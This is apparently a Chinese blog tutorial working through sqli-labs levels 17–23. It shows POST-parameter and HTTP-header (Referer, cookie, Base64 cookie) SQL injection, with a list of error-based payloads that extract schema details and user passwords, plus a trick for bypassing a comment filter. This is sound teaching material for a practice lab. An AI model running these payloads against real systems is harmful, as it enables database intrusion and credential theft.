WEB安全--SQL注入--POST传参注入、SQL头部注入

一、介绍:

post传参和get传参对注入方式没有本质上的影响,只不过前者是通过页面上的表单提交数据后者是通过url传参。

而头部注入是因为后端并没有直接将参数插入查询语句,而是通过插入或取出cookie、referer等参数进行数据查询或更改的;所以通常使用抓包工具在抓到的数据包上更改相应的参数进行注入。

二、示例:

2.1、POST示例:

sql 复制代码
#less-17
username和password是两个传入点,但是username这个参数用户传入后会被后端waf处理,
所以无法在这个点写payload;我们可以在password上下功夫,如果要注入的话,
首先得保证username传入的值是正确的,
然后再在password字段上用联合注入或者报错注入等payload即可。


//$update="UPDATE users SET password = 'aaa' and selec#' WHERE username='$row1'";

//11' and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))as x from information_schema.tables group by x)as y)#

//123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(id,username,password) from users),0x5c)))#

//1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#

//1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#



#less-23
此关的waf过滤了注释符,我们要在payload末尾用  '1'='1  来代替--+,
通过报错注入的方式,后面也就迎刃而解了


?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

2.2、改包示例:

sql 复制代码
#less-18 ~ less-22
通过使用burpsuite截取我们传递的包,然后修改相应字段的数据即可,也就是在里面写注入语句。

不过要注意的是:
less-19改写的字段是Referer='';
less-20改写的字段是cookie,因为username和password都设置了waf;
less-21改写的地方也是cookie,不过需要先把注入语句用Base64编码一遍,
因为后台接收的时候设置了Base64解码过滤;
相关推荐
涛声依旧39316几秒前
运维项目:InnoAI SQL 助手
运维·数据库·sql
脑子进水养啥鱼?1 小时前
where id > ‘5‘ 的查询 sql 查不到 id = ‘10‘ 的数据?
数据库·sql·postgresql
l1t2 小时前
PostgreSQL 11–18 中的 SQL 改进:个人精选-1
数据库·sql·postgresql
云祺vinchin2 小时前
IT行业数据备份实例:安全备份+秒级恢复
安全·数据备份·数据归档·容灾备份
网络安全零基础教程2 小时前
零基础转行网安,前两个月具体该学什么工具
网络·学习·安全·web安全·网络安全
eam0511232 小时前
简易AI SQL助手搭建方式
数据库·人工智能·sql
sevenll074 小时前
SqlKit - 覆盖 50+ 数据库的 AI 智能体 SQL 桌面客户端
数据库·人工智能·sql·智能体
独守一片天4 小时前
HarmonyOS 新生态 从原生应用到 AI Agent 的全场景智能底座
人工智能·安全·harmonyos
LDZKKJ15 小时前
OpenAI模型“越狱“入侵Hugging Face——AI安全史上的至暗时刻
网络·人工智能·安全
zzq779716 小时前
别把大模型 API Key 写进 APK:移动 AI 应用接口防盗刷实践
android·人工智能·安全·app加固·御盾安全·安卓加固